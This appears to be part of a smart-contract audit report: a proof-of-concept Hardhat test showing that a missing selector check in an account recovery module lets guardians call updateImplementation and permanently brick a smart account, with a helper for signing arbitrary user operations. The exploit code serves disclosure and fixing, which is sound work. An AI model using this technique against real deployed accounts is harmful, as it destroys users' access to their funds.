Missing selector validation POC
The following proof of concept shows how Finding ref↗ can be exploited to cause an irrecoverable denial of service, rendering a smart account unusable. The test can be added to test/module/AccountRecovery.Module.ts
.
it("POC - Bricks the smart account", async () => {
const {
entryPoint,
userSA,
accountRecoveryModule,
ecdsaModule,
controlMessage,
arrayOfSigners,
defaultSecurityDelay,
} = await setupTests();
const calldata = userSA.interface.encodeFunctionData(
"updateImplementation",
[accountRecoveryModule.address]
)
+ "0000000000000000000000000000000000000000000000000000000000000000" // 0x00 ETH value
+ "0000000000000000000000000000000000000000000000000000000000000060" // 0x20 Calldata bytes offset
+ "0000000000000000000000000000000000000000000000000000000000000004" // 0x60 Calldata bytes length
+ "0fe0128700000000000000000000000000000000000000000000000000000000" // 0x80 Calldata: just the selector, padded for convenience
;
const addRequestUserOp = await makeMultiSignedUserOpWithGuardiansListArbitraryCalldata(
calldata,
userSA.address,
arrayOfSigners,
controlMessage,
entryPoint,
accountRecoveryModule.address
);
// This won't revert
await userSA.getImplementation();
await entryPoint.handleOps([addRequestUserOp], alice.address, {
gasLimit: 10000000,
});
// [!] This will revert because even `getImplementation` requires the original implementation
await expect(userSA.getImplementation()).revertedWith("");
});
The test uses a modified makeMultiSignedUserOpWithGuardiansList
function to be added to test/utils/accountRecovery.ts
:
export async function makeMultiSignedUserOpWithGuardiansListArbitraryCalldata(
calldata: string,
userOpSender: string,
userOpSigners: Signer[],
controlMessage: string,
entryPoint: EntryPoint,
moduleAddress: string,
options?: {
preVerificationGas?: number;
}
): Promise<UserOperation> {
const SmartAccount = await ethers.getContractFactory("SmartAccount");
const txnDataAA1 = calldata;
const provider = entryPoint.provider;
const op2 = await fillUserOp(
{
sender: userOpSender,
callData: txnDataAA1,
...options,
},
entryPoint,
"nonce"
);
const chainId = await provider!.getNetwork().then((net) => net.chainId);
const messageUserOp = arrayify(
getUserOpHash(op2, entryPoint!.address, chainId)
);
const messageHash = ethers.utils.id(controlMessage);
const messageHashBytes = ethers.utils.arrayify(messageHash);
let signatures = "0x";
for (let i = 0; i < userOpSigners.length; i++) {
const signer = userOpSigners[i];
const sig = await signer.signMessage(messageUserOp);
const guardian = await signer.signMessage(messageHashBytes);
signatures = signatures + sig.slice(2) + guardian.slice(2);
}
// add validator module address to the signature
const signatureWithModuleAddress = ethers.utils.defaultAbiCoder.encode(
["bytes", "address"],
[signatures, moduleAddress]
);
op2.signature = signatureWithModuleAddress;
return op2;
}